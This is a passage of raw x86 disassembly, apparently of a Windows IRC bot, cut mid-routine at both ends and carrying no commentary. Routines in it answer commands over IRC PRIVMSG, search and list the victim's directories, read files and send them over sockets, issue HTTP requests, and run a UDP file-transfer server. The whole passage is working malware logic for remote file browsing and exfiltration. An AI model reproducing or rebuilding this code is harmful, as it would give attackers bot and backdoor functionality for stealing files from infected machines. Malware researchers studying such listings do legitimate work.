		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_416FB6
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_406922
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_416FB6
		add	esp, 1Ch
		or	[ebp+var_330], 0FFFFFFFFh
		mov	[ebp+var_31C], esi
		jmp	short loc_406135
; ---------------------------------------------------------------------------

loc_4060DA:				; CODE XREF: sub_405F35+14Ej
		push	ebx

loc_4060DB:				; CODE XREF: sub_405F35+125j
		call	dword_43EBBC	; closesocket
		jmp	loc_4061CB
; ---------------------------------------------------------------------------

loc_4060E6:				; CODE XREF: sub_405F35+149j
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		call	dword_423084	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_406135
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_416FB6
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		call	dword_4230A4	; GetFileSize
		push	esi
		mov	[ebp+var_330], eax
		call	dword_423078	; CloseHandle

loc_406135:				; CODE XREF: sub_405F35+1A3j
					; sub_405F35+1CEj
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_429690
		push	eax
		call	sub_416FB6
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_416A7A
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_44456C[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_405DB9
		push	edi
		push	edi
		call	dword_4230A0	; CreateThread
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_44457C[ecx], eax
		jnz	short loc_4061DA
		push	ebx
		call	dword_43EBBC	; closesocket
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_429648
		push	eax
		call	sub_416FB6
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_40BD8D
		add	esp, 10h

loc_4061CB:				; CODE XREF: sub_405F35+1ACj
					; sub_405F35+2ADj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_4061D2:				; CODE XREF: sub_405F35+2ABj
		push	5
		call	dword_423064	; Sleep

loc_4061DA:				; CODE XREF: sub_405F35+266j
		cmp	[ebp+var_318], edi
		jz	short loc_4061D2
		jmp	short loc_4061CB
sub_405F35	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4061E4	proc near		; CODE XREF: sub_405DB9+153p
					; sub_40EC43+49E4p

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_417030
		mov	edi, [ebp+arg_0]
		push	offset asc_4296D4 ; "\n"
		push	edi
		call	sub_41886E
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		push	edi
		jz	short loc_406243
		push	[ebp+arg_8]
		mov	esi, 200h
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_41752A
		add	esp, 14h
		jmp	loc_40633F
; ---------------------------------------------------------------------------

loc_406243:				; CODE XREF: sub_4061E4+3Bj
		cmp	[ebp+arg_C], ebx
		jz	loc_406325
		call	sub_4177B0
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41752A
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_4177B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43EB74	; send
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41752A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_4177B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43EB74	; send
		push	edi
		call	sub_4177B0
		push	3Ch
		push	96h
		mov	byte ptr [eax+edi], 2Ah
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41752A
		add	esp, 1Ch
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_4177B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43EB74	; send
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41752A
		add	esp, 0Ch
		jmp	short loc_40633F
; ---------------------------------------------------------------------------

loc_406325:				; CODE XREF: sub_4061E4+62j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41752A
		add	esp, 10h

loc_40633F:				; CODE XREF: sub_4061E4+5Aj
					; sub_4061E4+13Fj
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_4177B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43EB74	; send
		cmp	[ebp+arg_C], ebx
		jz	short loc_4063D7
		push	[ebp+arg_C]
		call	sub_4177B0
		cmp	eax, 2
		pop	ecx
		jbe	short loc_4063D7
		push	[ebp+arg_C]
		call	sub_4177B0
		sub	eax, 3
		pop	ecx
		jz	short loc_40638B

loc_40637F:				; CODE XREF: sub_4061E4+1A5j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_40638B
		dec	eax
		jnz	short loc_40637F

loc_40638B:				; CODE XREF: sub_4061E4+199j
					; sub_4061E4+1A2j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_418910
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41752A
		add	esp, 1Ch
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_4177B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43EB74	; send

loc_4063D7:				; CODE XREF: sub_4061E4+17Dj
					; sub_4061E4+18Bj
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		call	dword_4230BC	; FindFirstFileA
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		call	dword_4230B8	; FindNextFileA
		test	eax, eax
		jz	loc_4067CE
		mov	edi, 1FFh

loc_406403:				; CODE XREF: sub_4061E4+5E4j
		cmp	[ebp+var_388], ebx
		jz	loc_4067B6
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4067B6
		lea	eax, [ebp+var_35C]
		push	offset a_	; "."
		push	eax
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4067B6
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		call	dword_4230B4	; FileTimeToLocalFileTime
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_4230B0	; FileTimeToSystemTime
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	loc_406500
		mov	ecx, offset aAm	; "AM"
		movzx	eax, ax

loc_40647F:				; CODE XREF: sub_4061E4+322j
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_416FB6
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_406637
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40650B
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41752A
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		push	esi
		push	eax
		call	sub_41752A
		add	esp, 28h
		jmp	loc_406787
; ---------------------------------------------------------------------------

loc_406500:				; CODE XREF: sub_4061E4+28Dj
		movzx	eax, ax
		sub	eax, 0Ch
		jmp	loc_40647F
; ---------------------------------------------------------------------------

loc_40650B:				; CODE XREF: sub_4061E4+2D5j
		cmp	[ebp+arg_C], ebx
		jz	loc_4065F5
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41752A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_4177B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43EB74	; send
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_0	; "%s%s/"
		push	edi
		push	eax
		call	sub_41752A
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_4177B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43EB74	; send
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_4177B0
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		jbe	short loc_4065B1
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_4065B6
; ---------------------------------------------------------------------------

loc_4065B1:				; CODE XREF: sub_4061E4+3C4j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"

loc_4065B6:				; CODE XREF: sub_4061E4+3CBj
		push	edi
		push	eax
		call	sub_41752A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_4177B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43EB74	; send
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_406778
; ---------------------------------------------------------------------------

loc_4065F5:				; CODE XREF: sub_4061E4+32Aj
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41752A
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"

loc_406622:				; CODE XREF: sub_4061E4+47Bj
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41752A
		add	esp, 24h
		jmp	loc_406787
; ---------------------------------------------------------------------------

loc_406637:				; CODE XREF: sub_4061E4+2C9j
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_406661
		push	ebx
		push	[ebp+var_368]
		call	sub_40CE23
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		jmp	short loc_406622
; ---------------------------------------------------------------------------

loc_406661:				; CODE XREF: sub_4061E4+459j
		cmp	[ebp+arg_C], ebx
		jz	loc_406761
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41752A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_4177B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43EB74	; send
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_2	; "%s%s"
		push	edi
		push	eax
		call	sub_41752A
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_4177B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43EB74	; send
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_4177B0
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		jbe	short loc_406707
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_40670C
; ---------------------------------------------------------------------------

loc_406707:				; CODE XREF: sub_4061E4+51Aj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"

loc_40670C:				; CODE XREF: sub_4061E4+521j
		push	edi
		push	eax
		call	sub_41752A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_4177B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43EB74	; send
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41752A
		add	esp, 1Ch
		jmp	short loc_406787
; ---------------------------------------------------------------------------

loc_406761:				; CODE XREF: sub_4061E4+480j
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"
		push	esi

loc_406778:				; CODE XREF: sub_4061E4+40Cj
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41752A
		add	esp, 18h

loc_406787:				; CODE XREF: sub_4061E4+317j
					; sub_4061E4+44Ej ...
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_4177B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43EB74	; send
		cmp	[ebp+arg_8], ebx
		jz	short loc_4067B6
		push	7D0h
		call	dword_423064	; Sleep

loc_4067B6:				; CODE XREF: sub_4061E4+225j
					; sub_4061E4+240j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		call	dword_4230B8	; FindNextFileA
		test	eax, eax
		jnz	loc_406403

loc_4067CE:				; CODE XREF: sub_4061E4+214j
		push	[ebp+arg_0]
		call	dword_4230AC	; FindClose
		cmp	[ebp+arg_8], ebx
		jz	short loc_406811
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_40CE23
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_40CE23
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_416FB6
		add	esp, 14h
		jmp	short loc_40683F
; ---------------------------------------------------------------------------

loc_406811:				; CODE XREF: sub_4061E4+5F6j
		cmp	[ebp+arg_C], ebx
		lea	eax, [ebp+var_248]
		jz	short loc_40682B
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_416FB6
		pop	ecx
		pop	ecx
		jmp	short loc_40683F
; ---------------------------------------------------------------------------

loc_40682B:				; CODE XREF: sub_4061E4+636j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_416FB6
		add	esp, 10h

loc_40683F:				; CODE XREF: sub_4061E4+62Bj
					; sub_4061E4+645j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_4177B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43EB74	; send
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_4061E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406865	proc near		; CODE XREF: sub_405DB9+135p

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		call	dword_423084	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40691D
		push	esi
		push	ebx
		call	dword_4230A4	; GetFileSize
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_406916

loc_4068AA:				; CODE XREF: sub_406865+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_417030
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]
		jbe	short loc_4068C7
		mov	edi, [ebp+arg_4]

loc_4068C7:				; CODE XREF: sub_406865+5Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		call	dword_4230C0	; SetFilePointer
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		call	dword_423074	; ReadFile
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_43EB74	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_406911
		call	dword_43EAB8	; WSAGetLastError
		cmp	eax, 2733h
		jnz	short loc_406916
		xor	eax, eax

loc_406911:				; CODE XREF: sub_406865+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_4068AA

loc_406916:				; CODE XREF: sub_406865+43j
					; sub_406865+A8j
		push	ebx
		call	dword_423078	; CloseHandle

loc_40691D:				; CODE XREF: sub_406865+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_406865	endp


; =============== S U B	R O U T	I N E =======================================



sub_406922	proc near		; CODE XREF: sub_405F35+17Bp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_4177B0
		test	eax, eax
		pop	ecx
		jbe	short loc_40694B

loc_406935:				; CODE XREF: sub_406922+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_40693F
		mov	byte ptr [esi+edi], 2Fh

loc_40693F:				; CODE XREF: sub_406922+17j
		push	edi
		inc	esi
		call	sub_4177B0
		cmp	esi, eax
		pop	ecx
		jb	short loc_406935

loc_40694B:				; CODE XREF: sub_406922+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_406922	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406950	proc near		; CODE XREF: sub_40EC43+2BA9p

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_43EA9C	; WSAStartup
		push	6
		push	1
		push	2
		call	dword_43EBA4	; socket
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_417030
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_43EB24	; htons
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_40ABF8
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_43EACC	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_406A2D
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_4069C9
		mov	eax, offset byte_43BCE8

loc_4069C9:				; CODE XREF: sub_406950+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_41752A
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_4177B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	dword_43EB74	; send
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_417090
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_43EB3C	; recv
		pop	esi

loc_406A2D:				; CODE XREF: sub_406950+6Bj
		push	ebx
		call	dword_43EBBC	; closesocket
		call	dword_43EA84	; WSACleanup
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_416FB6
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_406A6D
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D476
		add	esp, 14h

loc_406A6D:				; CODE XREF: sub_406950+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_406950	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406A71	proc near		; CODE XREF: sub_406A71:loc_406F56p
					; DATA XREF: sub_4070A3+104o ...

var_884		= dword	ptr -884h
var_880		= dword	ptr -880h
var_780		= byte ptr -780h
var_580		= byte ptr -580h
var_57F		= byte ptr -57Fh
var_57E		= byte ptr -57Eh
var_57D		= byte ptr -57Dh
var_57C		= byte ptr -57Ch
var_37C		= dword	ptr -37Ch
var_378		= byte ptr -378h
var_274		= byte ptr -274h
var_170		= dword	ptr -170h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= byte ptr -164h
var_E4		= dword	ptr -0E4h
var_E0		= dword	ptr -0E0h
var_D8		= byte ptr -0D8h
var_D7		= byte ptr -0D7h
var_D6		= byte ptr -0D6h
var_D5		= byte ptr -0D5h
var_58		= byte ptr -58h
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 884h
		push	ebx
		push	esi
		push	edi
		mov	edx, [ebp+arg_0]
		mov	esi, offset aOctet ; "octet"
		lea	edi, [ebp+var_1C]
		movsd
		movsw
		xor	ebx, ebx
		xor	eax, eax
		mov	ecx, 0A9h
		mov	esi, edx
		lea	edi, [ebp+var_37C]
		push	ebx
		inc	eax
		push	2
		rep movsd
		inc	[ebp+var_16C]
		push	2
		mov	[ebp+var_C], eax
		mov	[edx+2A0h], eax
		call	dword_43EBA4	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_406B34
		push	190h
		call	dword_423064	; Sleep
		call	dword_43EAB8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_780]
		push	offset dword_429CE0
		push	eax
		call	sub_416FB6
		add	esp, 0Ch
		cmp	[ebp+var_E0], ebx
		jnz	short loc_406B14
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_40D476
		add	esp, 14h

loc_406B14:				; CODE XREF: sub_406A71+7Ej
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_40BD8D
		push	[ebp+var_170]
		call	sub_416D90
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_423054	; ExitThread

loc_406B34:				; CODE XREF: sub_406A71+50j
		mov	eax, [ebp+var_170]
		push	10h
		imul	eax, 234h
		push	ebx
		mov	dword_444574[eax], edi
		lea	eax, [ebp+var_44]
		push	eax
		call	sub_417030
		add	esp, 0Ch
		mov	[ebp+var_44], 2
		push	[ebp+var_168]
		call	dword_43EB24	; htons
		mov	[ebp+var_42], ax
		lea	eax, [ebp+var_44]
		push	10h
		push	eax
		push	edi
		mov	[ebp+var_40], ebx
		call	dword_43EB50	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_406B99
		push	1388h
		call	dword_423064	; Sleep
		dec	[ebp+var_16C]
		push	[ebp+arg_0]
		jmp	loc_406F56
; ---------------------------------------------------------------------------

loc_406B99:				; CODE XREF: sub_406A71+10Dj
		lea	eax, [ebp+var_378]
		push	offset aRb	; "rb"
		push	eax
		call	sub_4176A8
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jnz	short loc_406C17
		push	190h
		call	dword_423064	; Sleep
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_780]
		push	offset unk_429CA0
		push	eax
		call	sub_416FB6
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_40D476
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_40BD8D
		push	[ebp+var_170]
		call	sub_416D90
		add	esp, 28h
		push	ebx
		call	dword_423054	; ExitThread

loc_406C17:				; CODE XREF: sub_406A71+140j
		mov	esi, 200h

loc_406C1C:				; CODE XREF: sub_406A71+49Fj
		mov	eax, [ebp+arg_0]
		cmp	[eax+2A0h], ebx
		jz	loc_406F16
		mov	[ebp+var_880], edi
		mov	edi, 80h
		push	edi
		lea	eax, [ebp+var_D8]
		push	ebx
		push	eax
		mov	[ebp+var_34], 5
		mov	[ebp+var_30], 1388h
		mov	[ebp+var_884], 1
		call	sub_417030
		add	esp, 0Ch
		lea	eax, [ebp+var_34]
		push	eax
		push	ebx
		lea	eax, [ebp+var_884]
		push	ebx
		push	eax
		push	ebx
		call	dword_43EB0C	; select
		test	eax, eax
		jle	loc_406F0A
		mov	al, byte_43BCE8
		mov	ecx, edi
		mov	[ebp+var_580], al
		xor	eax, eax
		lea	edi, [ebp+var_57F]
		mov	[ebp+var_4], 10h
		rep stosd
		stosw
		stosb
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		lea	eax, [ebp+var_D8]
		push	80h
		push	eax
		push	edi
		call	dword_43EAFC	; recvfrom
		push	[ebp+var_28]
		mov	[ebp+var_C], eax
		call	dword_43EBB0	; inet_ntoa
